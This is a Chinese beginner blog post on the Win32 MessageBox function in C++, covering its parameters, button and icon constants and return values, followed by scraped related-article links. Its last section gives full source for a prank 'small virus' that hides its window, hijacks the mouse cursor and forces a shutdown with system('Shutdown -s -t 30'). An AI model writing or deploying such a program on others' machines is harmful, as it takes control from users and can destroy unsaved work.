特别说明:本人不是特别专业,如有任何错误请指出

如果你想用c++做游戏,且你还不会MessageBox,那么往下看

格式和效果

它的格式是:

int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)

基本用法:

MessageBox(NUll/*0*/,"内容","标题",MB_OK);MessageBox(NUll/*0*/,"内容","标题",MB_OK);

它可以产生一个弹窗,效果如下:

NULL值最好不改,标题和内容自己定(注:这里不是string(char*),可用string中的函数c_str()),最后的值决定的是下边的按钮,如下。

按钮

MB_OK /*默认,有一个确定*/        MB_YESNO    /*有是和否*/
MB_ABORTRETRYIGNORE /*有放弃(abort),重试(retry),和跳过(ignore)*/
MB_YESNOCACEL    /*有是,否和取消*/    MB_RETRYCANCEL    /*有重试和取消*/
MB_OKCANCEL    /*有确定和取消

按钮一共有这几种,可以根据自己的需求自行选择,另外在前面加上一些值也会产生效果

16+...    //在内容前面加上一个叉号
32+...    //在内容前面加上一个问好
48+...    //在内容前面加上一个叹号
64+...    //在内容前面加上一个i
//例:MessageBox(NULL,"有黑客试图入侵你的电脑\n是否阻止","温馨提示",64+MB_YESNO);

但你会发现:这些按钮只是个摆设,怎样知道用户按了哪个键呢?

那么请你接着往下看

返回值

MessageBox是有返回值的,具体如下

确定

取消

放弃

重试

跳过

1

2

3

4

5

6

7

当用户按下某个键时,MessageBox就会给出对应的值,发生错误时返回-1.

一个小病毒

#include<windows.h>
#include<bits/stdc++.h>
#include<iostream>
#include<string>
using namespace std;
string num_str(int i){string s="";while(i){s=(char)((i%10)+(int)'0')+s;i/=10;}return s;
}
string make_str(string s[],int num){string ss="";for(int i=0;i<num;i++){ss=ss+s[i];}return ss;
}
void chengfa(void){MessageBox(0,"惩罚一:鼠标不动","无名氏",MB_OK); int x=GetSystemMetrics(SM_CXSCREEN);int y=GetSystemMetrics(SM_CYSCREEN);srand(time(0));int i=100000;while(--i) SetCursorPos(x,y);MessageBox(0,"惩罚二:鼠标乱动","无名氏",MB_OK); i=100000;while(--i) SetCursorPos(rand()%x,rand()%y);MessageBox(0,"惩罚三:30秒后关机","无名氏",MB_OK); system("Shutdown -s -t 30");//关机
}
int main(){ShowWindow(GetForegroundWindow(),0);   //关闭窗口 string se[6];int i=10000;MessageBox(0,"你竟然运行了这个程序","温馨提示",MB_OK);if(MessageBox(0,"选【是】按10000下关闭我,其他则接受惩罚","温馨提示",MB_YESNO)!=6) chengfa();else{exit:i--;se[0]="加油吧!,还剩";se[1]=num_str(i);se[2]="下";MessageBox(0,make_str(se,3).c_str(),"温馨提示",MB_OK);if(i%100==0) if(MessageBox(0,"给你个反悔机会,选【是】继续,其他则接受惩罚","温馨提示",32+MB_YESNO)!=6)chengfa(),i=0;if(i!=0) goto exit; }
}

解决方法:任务管理器(本来想禁用任务管理器的,结果没用)

C++MessageBox简介相关推荐

  1. C语言MessageBox简介

    这个函数很实用,来自Windows.h. 它会产生一个对话框. 原型: int WINAPI MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption, ...

  2. MessageBox()用法简介

    MessageBox () 功能显示一个消息对话框. 语法 MessageBox (text,title{,icon{,button{,default}}}) 参数title:string类型,指定消 ...

  3. C#程序设计语言Version2.0简介

    [翻译] lover_P 2004-01-26 ---------------------------------------------------------------------------- ...

  4. MFC下的MessageBox使用_附带CBUTTON

    词条简介 函数功能:该函数创建.显示.和操作一个消息框.消息框含有应用程序定义的消息和标题,加上预定义图标与Push(下按)按钮的任何组合. 函数原型:int MessageBox(HWND hWnd ...

  5. 反汇编基础、OllyDbg简介和界面、基本操作、初级TraceMe练习

    以下使用的练习示例是<Windows程序设计>第五版第一章的HelloMsg.exe:以及<加密与解密>第三版附带的RebPE.exe: 一 反汇编基础 1 字节顺序 字节存储 ...

  6. Py之wxPython:wxPython的简介、安装、使用方法之详细攻略

    Py之wxPython:wxPython的简介.安装.使用方法之详细攻略 目录 wxPython的简介 wxPython的安装 wxPython的使用方法 wxPython的简介 wxPython是P ...

  7. messagebox 全部使用_「一」Windows API 零门槛编程指南——MessageBox

    本篇作为Windows API 系列文章的第一篇,将简要的讲解一下什么是Windows API,Windows API能做些什么,并且尽可能讲解一些新出现的专有名词:本系列博文几乎没有难啃的" ...

  8. 【DND图形库】一、简介与环境配置

    一.简介与环境配置 (甲)简介 这是一个2D图形库,基于DirectX11,使用C++作为开发语言,最低支持Windows7和DirectX11显卡(如果显卡不支持,绘图效率会很低). 主要的目的是开 ...

  9. 【一】Windows API 零门槛编程指南——MessageBox 基本使用及基础讲解

    本篇作为Windows API 系列文章的第一篇,将简要的讲解一下什么是Windows API,Windows API能做些什么,并且尽可能讲解一些新出现的专有名词:本系列博文几乎没有难啃的" ...

最新文章

  1. sass和less的优缺点
  2. 运用代码管理段来提升开发效率
  3. 深入理解 JVM Class文件格式(七)
  4. java中什么时候应用异常_生产Java应用程序中的十大异常类型-基于1B事件
  5. spring和maven_具有Spring和Maven教程的JAX–WS
  6. maven安装与项目创建
  7. 马斯克终于承认售出比特币:卖了10%
  8. Solr缓存清空、重新加载与修改
  9. 【知识图谱系列】多关系异质知识图谱表示学习综述
  10. 在QT界面中使用ico/png等图片文件,生成exe后不依赖外部文件
  11. Excel使用技巧 查找重复值
  12. 印度有个 “扎克伯格庙”?
  13. Codeforces 408 E. Curious Array
  14. 打开idea注释doc的rendered view模式
  15. glib linux,[转载]linux下glib.h的介绍
  16. 支付宝当面付接入之DEMO简单解读
  17. 存储结构和磁盘划分(基于RedHat7)
  18. 云计算在教育方面的应用
  19. 用灌水法解NOIP2017提高组D2第一题:奶酪
  20. KafkaConsumer源码翻译(中英对照)

热门文章

  1. BERT模型的详细介绍
  2. 魅蓝x android,魅蓝X的屏幕怎么样?魅蓝X屏幕材质是什么?
  3. 科创板落地近尾声 注册制稳步试点减缓市场压力
  4. DEVOPS 运维开发系列一:ITIL服务目录管理流程的设计与信息化管理系统功能的开发
  5. php接受本地图片上传,用php把本地要上传的图片经过剪切,存入数据库
  6. TensorRT 下不同 API 推理时间的对比实验
  7. Excel如何新建指定名称工作表
  8. 绕过限制,在PC上调试微信手机页面
  9. oracle补丁报错10044,【案例】Oracle补丁 数据库打patch报错OPatch failed with error code 73...
  10. Jmeter超高并发解决方案